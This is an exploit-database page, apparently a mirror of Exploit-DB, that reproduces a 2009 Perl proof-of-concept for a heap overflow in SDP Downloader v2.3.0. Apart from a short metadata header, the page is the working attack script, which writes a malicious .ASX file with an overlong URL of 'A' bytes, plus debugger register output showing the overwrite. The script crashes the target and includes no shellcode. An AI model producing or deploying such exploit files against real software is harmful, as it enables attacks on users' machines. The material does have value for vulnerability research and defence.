header-logo
Suggest Exploit
vendor:
SDP Downloader
by:
Cyber-Zone (ABDELKHALEK)
N/A
CVSS
N/A
Heap Overflow
Unknown
CWE
Product Name: SDP Downloader
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: No
Related CWE:
CPE: Unknown
Metasploit:
Other Scripts:
Platforms Tested:
2009

SDP Downloader v2.3.0 .ASX File Local Heap Overflow PoC

This exploit is a proof-of-concept for a heap overflow vulnerability in SDP Downloader v2.3.0. It creates a malicious ASX file that can be used to exploit the vulnerability.

Mitigation:

Unknown
Source

Exploit-DB raw data:

#!/usr/bin/perl
#
#
# Found By : Cyber-Zone (ABDELKHALEK) <== Proud To Be Figuigian ::Figuig City OwnZ !
#
# MoroCCo 2009
#
# GreatZ To : Hussin X , Jiko , ZoRLu , Mag!c ompo , Stack , b0rizQ ... All MoroCCaN HaCkerS
#
#OllyDBG Registers
#EAX 41414141
#ECX 00AF74AC ASCII "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#EDX 00502F58 SDP.00502F58
#EBX 00000041
#ESP 0012F798
#EBP 0012FAA4
#ESI 0000021D
#EDI 0012FA7C
#EIP 004208C2 SDP.004208C2
#
if(@ARGV < 2)
{
&help; exit();
}
sub help()
{
print "[X] Usage : perl $0 HackerName IP :d \n";
print "[X] Exemple : perl $0 Cyber-Zone 127.0.0.1 \n";
}
($HackerName, $IP) = @ARGV;
print("Please Wait ....................................\n");
sleep(5);
print("SDP Downloader v2.3.0 .ASX File Local Heap Overflow PoC\n\n");
print("Ok $HackerName , Your Evil ASX file Has Been Created !!!\n");
print("Your IP Is : $IP , Now Open The EviL File whith Our Targer Program And see if you Can Exploit'it\n");

my $EviLFILE="boom.asx";

my $Header1= "\x3C\x41\x53\x58\x20\x56\x45\x52\x53\x49\x4F\x4E\x3D\x22\x33".
            "\x2E\x30\x22\x3E\x0A\x0A\x3C\x45\x4E\x54\x52\x59\x3E\x3C\x54".
            "\x49\x54\x4C\x45\x3E\x65\x78\x70\x6C\x6F\x69\x74\x3C\x2F\x54".
            "\x49\x54\x4C\x45\x3E\x0A\x3C\x52\x45\x46\x20\x48\x52\x45\x46".
            "\x3D\x22";
                        

my $ProofOfConcept ="http://".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; #530

my $Header2= "\x2E\x61\x73\x66\x22\x2F\x3E\x0A\x3C\x2F\x45\x4E\x54\x52\x59".
            "\x3E\x3C\x2F\x41\x53\x58\x3E";
            
            
open(Boom, ">$EviLFILE") or die "ERROR ! :$EviLFILE\n";
print Boom $Header1;
print Boom $ProofOfConcept;
print Boom $Header2;

close(Boom);

print ("Figuigian Hacker !!!\n");

# milw0rm.com [2009-04-24]

Navigation

Suggest Exploit

Services By CQR